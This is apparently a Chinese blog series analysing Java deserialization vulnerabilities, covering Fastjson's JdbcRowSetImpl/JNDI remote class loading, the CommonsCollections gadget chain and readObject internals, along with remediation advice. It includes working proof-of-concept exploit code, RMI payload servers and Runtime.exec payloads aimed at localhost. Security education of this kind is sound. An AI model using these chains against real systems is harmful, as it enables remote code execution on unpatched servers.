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探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

json序列化反序列化是通过将对象转换成json字符串和其逆过程,Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景
通过之前的反序列化漏洞学习我们知道,挖掘其漏洞核心思想就是找到应用,组件或者方法中的反序列化操作,如果其没有进行有效合法的判断或者其黑名单不够全,那么我们就可以通过利用JDK中固有类的方法组合来构造出一条攻击链,从而在其反序列化过程中成功唤醒我们的攻击链来达到任意代码执行
关于Fastjson反序列化漏洞的POC我也在网上看了许多文章学习,在此还是要感谢各位大佬的分享。在其中我选择了一种相对容易的基于JdbcRowSetImpl调用链来进行本次的分析

快速入门Fastjson

首先让我们了解一下Fastjson的基本使用方式
其常用方法主要是通过toJSONString方法来序列化,parseparseObject方法反序列化,

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

public class Test {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("test");
        user1.setAge(1);
        System.out.println("obj name:"+user1.getClass().getName());

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");

        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
    }
}

运行结果

{"key2":"Two","key1":"One"}
obj name:test.User
serializedStr={"age":1,"name":"test"}
serializedStr1={"@type":"test.User","age":1,"name":"test"}
test

{"name":"test","age":1}
obj name:com.alibaba.fastjson.JSONObject

test.User@31900174
obj1 name:test.User

可以看到当我们通过使用SerializerFeature.WriteClassName时会在序列化中写入当前的type,@type可以指定反序列化任意类,调用其set,get,is方法。在读取中我们可以通过设置指定的object来返回相应对象

Fastjson反序列化流程

JdbcRowSetImpl_1
上图是反序列化框架图,其中反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类
首先程序会根据Lexer词法分析来处理字符
屏幕快照 2018-07-13 下午12.04.02
之后在parseObject方法中

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

ObjectDeserializer接口进入JavaBeanDeserializer类中的deserialze实现方法完成反序列化操作。其中执行具体方法见其框架图

所以我们简单构造一个模拟流程
创建实体类

public class Evil {
    public String name;
    private int age;
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

反序列化操作

public class App {
    public static void main(String[] args) {
        Object obj = JSON.parseObject("{\"@type\":\"test.Evil\", \"name\":\"test\",\"age\":\"18\"}");
        System.out.println(obj);
    }
}

执行结果
屏幕快照 2018-07-13 下午3.37.21
可以看到在反序列化的过程中调用了我们的无参构造方法,以及get,set方法

JNDI

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

Java Naming

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

简单来说JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索对象(object),对象可能存储在rmi,ldap,CORBA等等。在JNDI中提供了绑定和查找的方法,JNDI将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象
2、Object lookup( String name ) //通过名字检索执行的对象

下面是一个小demo
首先我们一个远程接口

//远程接口
public interface RmiSample extends Remote {
    public  int sum(int a,int b) throws RemoteException;

}

以及其实现

public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
        super();
    }
    //所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
        return a+b;
    }
}

建立Server

public class RmiSampleServerJndi {
    public  static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(8808);
        RmiSampleImpl  server=new RmiSampleImpl();
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        ctx.bind("java:comp/env/SampleDemo",server);
        ctx.close();

    }
}

以及客户端

public class RmiSampleClientJndi {
    public static void main(String[] args) throws Exception
    {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        String url =  "java:comp/env/SampleDemo";
        RmiSample RmiObject  = (RmiSample)ctx.lookup(url);
        System.out.println("  1 + 2 = " + RmiObject.sum(1,2) );

    }
}

首先启动服务端,接着客户端连接
屏幕快照 2018-07-13 下午4.06.57
最终输出调用结果
屏幕快照 2018-07-13 下午4.11.19

JNDI Naming Reference

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)

JNDI注入

JNDI注入产生的原因可以归结到以下4点

1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

POC

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        //在本机1099端口开启rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8088/");
        //第二个参数指定 Object Factory 的类名 第三个参数是codebase 如果Object Factory在classpath 里面找不到则去codebase下载
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

这里可以知道,当我们远程连接时它会先在classpath中找,如果没有会在我们指定的地址中去加载去实现factory的初始化

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

将Exploit生成的class文件放到web目录下
然后将我们的客户端lookup的地址指向刚才我们创建的RMI服务从而达到代码执行

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");

所以说整个攻击流程为
受害者JNDI–>攻击者RMI服务–>受害者JNDI加载web服务中的恶意class–>受害者执行其构造方法

基于JdbcRowSetImpl的POC分析

public class SomeFastjsonApp {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在反序列化过程中会设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

public void setDataSourceName(String var1) throws SQLException {
        if(this.getDataSourceName() != null) {
            if(!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

设置autoCommit属性

public void setAutoCommit(boolean var1) throws SQLException {
        if(this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

其中触发connect方法

protected Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

这里关键的可以看到

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里可以发现其实例化了InitialContext并且调用了lookup方法,又因为其getDataSourceName为我们之前set的dataSourceName也就是攻击者的RMI服务,最终造成任意代码执行
效果如下
屏幕快照 2018-07-13 下午7.51.44

修复建议

升级旧版本Fastjson
影响范围:1.2.24及之前版本
安全版本:>=1.2.28

参考资料

http://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/417/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析

通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocationHandler.invoke()
               members(LazyMap).get()
                    ChainedTransformer.transform()
                         ConstantTransformer.transform()
                              Runtime.class
                         InvokerTransformer.transform()
                              getMethod("getRuntime",new Class[]{})
                         InvokerTransformer.transform()
                              invoke(null,new Object[]{})
                         InvokerTransformer.transform()
                              exec("calc")

该漏洞问题主要出现在org.apache.commons.collections.Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到该接口调用了一个方法transform其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformerConstantTransformerChainedTransformer
屏幕快照 2018-07-11 下午8.58.59
1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

屏幕快照 2018-07-11 下午9.01.18
我们来看其transform(Object input)如下

public Object transform(Object input) {
        if(input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

该方法返回iConstant属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类

public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if(transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

可以看到,其构造方法中接收了Transformer数组,接下来

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个比较有意思,可以看出它使用了for循环来调用Transformer数组的transform方法,并且使用了object作为后一个调用transform方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {
                String.class }, new Object[] {"open /Applications/Calculator.app"})};

Transformer transformedChain = new ChainedTransformer(transformers);

屏幕快照 2018-07-11 下午10.00.12

根据我们开始给出的调用链可以知道LazyMap(实现了Map接口)其中(当然也有其他的)调用了transform方法

public Object get(Object key) {
        if(!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform来处理
facory初始化是通过下方代码来完成

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if(factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以说,我们为了调用transform方法,需要找到LazyMap并调用其get方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get方法,而如何能在反序列化时触发LazyMapget方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler类(JDK1.7)
我们先来看下其结构
屏幕快照 2018-07-11 下午11.28.06

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

该类实现了序列化接口,同时其中typememberValues可控
接着往下看readObject方法,这里的memberValues是我们通过构造AnnotationInvocationHandler构造函数初始化的变量,也就是我们构造的LazyMap对象

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if(var7 != null) {
                Object var8 = var5.getValue();
                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到在readObject方法中并未找到LazyMapget方法,但是我们发现在invoke方法中memberValues.get(Object)被调用
屏幕快照 2018-07-11 下午11.57.19

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler实现了InvocationHandler接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke方法从而执行我们想要的get方法,最终成果执行恶意代码

POC

public class CCPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{
                        String.class}, new Object[]{"open /Applications/Calculator.app"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

        //设置代理
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

        System.out.println("Saving serialized object in test.ser");
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handlerProxy);
        oos.flush();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();
    }

}

屏幕快照 2018-07-12 上午1.36.23

总结

攻击调用链
cc攻击链-2

通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

参考资料

https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/

探秘Java反序列化漏洞二:反序列化过程分析

这里我们会主要分析自定义反序列化时readObject是如何被调用的

反序列化流程

在反序列化时我们会调用readObject方法,那么其中的执行又经过了哪些过程呢?
首先ObjectInputStream(InputStream in)有参构造方法设置enableOverride = false

public ObjectInputStream(InputStream in) throws IOException {
        verifySubclass();
        bin = new BlockDataInputStream(in);
        handles = new HandleTable(10);
        vlist = new ValidationList();
        serialFilter = ObjectInputFilter.Config.getSerialFilter();
        enableOverride = false;
        readStreamHeader();
        bin.setBlockDataMode(true);
    }

所以readObject会执行readObject0(false)

public final Object readObject()
        throws IOException, ClassNotFoundException
    {
        if (enableOverride) {
            return readObjectOverride();
        }

        // if nested read, passHandle contains handle of enclosing object
        int outerHandle = passHandle;
        try {
            Object obj = readObject0(false);
            handles.markDependency(outerHandle, passHandle);
            ClassNotFoundException ex = handles.lookupException(passHandle);
            if (ex != null) {
                throw ex;
            }
            if (depth == 0) {
                vlist.doCallbacks();
            }
            return obj;
        } finally {
            passHandle = outerHandle;
            if (closed && depth == 0) {
                clear();
            }
        }
    }

由此进入readObject方法

private Object readObject0(boolean unshared) throws IOException {
        boolean oldMode = bin.getBlockDataMode();
        if (oldMode) {
            int remain = bin.currentBlockRemaining();
            if (remain > 0) {
                throw new OptionalDataException(remain);
            } else if (defaultDataEnd) {
                /*
                 * Fix for 4360508: stream is currently at the end of a field
                 * value block written via default serialization; since there
                 * is no terminating TC_ENDBLOCKDATA tag, simulate
                 * end-of-custom-data behavior explicitly.
                 */
                throw new OptionalDataException(true);
            }
            bin.setBlockDataMode(false);
        }

        byte tc;
        while ((tc = bin.peekByte()) == TC_RESET) {
            bin.readByte();
            handleReset();
        }

        depth++;
        totalObjectRefs++;
        try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
    }

可以看到在改方法中开始分析我们序列化的内容,在switch中我们可以与之前分析的序列化后结构一一对应,其对应字节数据位于ObjectStreamConstants接口中
屏幕快照 2018-07-10 下午9.55.45
在上述代码中我们主要关注的是TC_OBJECT,其执行的方法是:checkResolve(readOrdinaryObject(unshared))–>readOrdinaryObject方法代码如下

 private Object readOrdinaryObject(boolean unshared)
        throws IOException
    {
        if (bin.readByte() != TC_OBJECT) {
            throw new InternalError();
        }

        ObjectStreamClass desc = readClassDesc(false);
        desc.checkDeserialize();

        Class<?> cl = desc.forClass();
        if (cl == String.class || cl == Class.class
                || cl == ObjectStreamClass.class) {
            throw new InvalidClassException("invalid class descriptor");
        }

        Object obj;
        try {
            obj = desc.isInstantiable() ? desc.newInstance() : null;
        } catch (Exception ex) {
            throw (IOException) new InvalidClassException(
                desc.forClass().getName(),
                "unable to create instance").initCause(ex);
        }

        passHandle = handles.assign(unshared ? unsharedMarker : obj);
        ClassNotFoundException resolveEx = desc.getResolveException();
        if (resolveEx != null) {
            handles.markException(passHandle, resolveEx);
        }

        if (desc.isExternalizable()) {
            readExternalData((Externalizable) obj, desc);
        } else {
            readSerialData(obj, desc);
        }

        handles.finish(passHandle);

        if (obj != null &&
            handles.lookupException(passHandle) == null &&
            desc.hasReadResolveMethod())
        {
            Object rep = desc.invokeReadResolve(obj);
            if (unshared && rep.getClass().isArray()) {
                rep = cloneArray(rep);
            }
            if (rep != obj) {
                // Filter the replacement object
                if (rep != null) {
                    if (rep.getClass().isArray()) {
                        filterCheck(rep.getClass(), Array.getLength(rep));
                    } else {
                        filterCheck(rep.getClass(), -1);
                    }
                }
                handles.setObject(passHandle, obj = rep);
            }
        }

        return obj;
    }

在代码中通过

Object obj;
try {
    obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
    throw (IOException) new InvalidClassException(
        desc.forClass().getName(),
        "unable to create instance").initCause(ex);
}

来判断对象的Class是否可以实例化,如果可以就创建它的实例desc.newInstance()
紧接着通过if-eles判断进入关键位置readSerialData(Object obj, ObjectStreamClass desc)(注:1.如果实现了Externalizable接口,是不会调用readSerialData方法的 2.这里的传入参数obj就是上面通过反射获得的构造函数进而构造出来的对象)

private void readSerialData(Object obj, ObjectStreamClass desc)
        throws IOException
    {
        ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
        for (int i = 0; i < slots.length; i++) {
            ObjectStreamClass slotDesc = slots[i].desc;

            if (slots[i].hasData) {
                if (obj == null || handles.lookupException(passHandle) != null) {
                    defaultReadFields(null, slotDesc); // skip field values
                } else if (slotDesc.hasReadObjectMethod()) {
                    ThreadDeath t = null;
                    boolean reset = false;
                    SerialCallbackContext oldContext = curContext;
                    if (oldContext != null)
                        oldContext.check();
                    try {
                        curContext = new SerialCallbackContext(obj, slotDesc);

                        bin.setBlockDataMode(true);
                        slotDesc.invokeReadObject(obj, this);
                    } catch (ClassNotFoundException ex) {
                        /*
                         * In most cases, the handle table has already
                         * propagated a CNFException to passHandle at this
                         * point; this mark call is included to address cases
                         * where the custom readObject method has cons'ed and
                         * thrown a new CNFException of its own.
                         */
                        handles.markException(passHandle, ex);
                    } finally {
                        do {
                            try {
                                curContext.setUsed();
                                if (oldContext!= null)
                                    oldContext.check();
                                curContext = oldContext;
                                reset = true;
                            } catch (ThreadDeath x) {
                                t = x;  // defer until reset is true
                            }
                        } while (!reset);
                        if (t != null)
                            throw t;
                    }

                    /*
                     * defaultDataEnd may have been set indirectly by custom
                     * readObject() method when calling defaultReadObject() or
                     * readFields(); clear it to restore normal read behavior.
                     */
                    defaultDataEnd = false;
                } else {
                    defaultReadFields(obj, slotDesc);
                    }

                if (slotDesc.hasWriteObjectData()) {
                    skipCustomData();
                } else {
                    bin.setBlockDataMode(false);
                }
            } else {
                if (obj != null &&
                    slotDesc.hasReadObjectNoDataMethod() &&
                    handles.lookupException(passHandle) == null)
                {
                    slotDesc.invokeReadObjectNoData(obj);
                }
            }
        }
            }

在进入readSerialData后经过一系列数据判断和查看是否有readObject方法后执行进入invokeReadObject(Object obj, ObjectInputStream in)并判断是否有readObjectMethod,如果有则执行readObjectMethod.invoke(obj, new Object[]{ in })反射调用我们自定义的readObject方法

根据上述过程分析,简单总结了一下关键流程,见下图
readObject-2
反序列攻击时序图(by:xxlegend)
SequenceDiagra

自定义反序列化来弹一个计算器

明白了上述分析的readObject过程,接下来我们通过重写readObject来自定义反序列化行为由此直接操作Runtime弹一个计算器

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
        System.out.println("test");
    }
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

(注:这里我们写的执行序列化的类同时为被序列化的类)

反序列化

public class DeSer{

    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

效果如下
屏幕快照 2018-07-10 下午10.18.43

风险

  1. 信息泄漏
  2. 数据篡改(伪造,拒绝服务)
  3. 命令执行

RCE前提

  • 数据未经过滤直接进入readObject
  • 存在可利用的反序列类
  • 常见触发点:

    readObject()
    readObjectNoData()
    readExternal()
    readResolve()
    validateObject()
    finalize()
    

参考资料

https://www.cnblogs.com/huhx/p/sSerializableTheory.html
https://blog.csdn.net/u014653197/article/details/78114041

探秘Java反序列化漏洞一:序列化与反序列化

最近在看Java反序列化漏洞方面的文章,感谢各位大佬的分享。由此做一个整理,并加入自己的理解。

序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等。在网络传输过程中,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这个相反的过程又称为反序列化。
简单来说序列化是用于将对象转换成二进制串存储,而反序列化即为将二进制串转换成对象。
未命名文件-3

为什么要序列化

在运行Java中,我们会通过各种途径创建对象,这些对象事实上都是位于JVM的堆内存中,伴随着其运行而存在。一旦当JVM停止运行,这些对象的状态也就随之消失。在实际中,我们需要将这些对象持久下来并且在需要时候读出来,或者为了节省内存,这时候就需要使用序列化。
对象序列化机制(object serialization)是Java语言内建的一种对象持久化方式,通过对象序列化,可以把对象的状态保存为字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。

使用场景

  • http参数,cookie,sesion,存储方式可能是base64(rO0), 压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括 JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content- Type:application/xml)
  • json(Jackson,fastjson)http请求中包含

代码实现

相关接口及类

Java为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类:

java.io.Serializable

java.io.Externalizable

ObjectOutput

ObjectInput

ObjectOutputStream

ObjectInputStream 

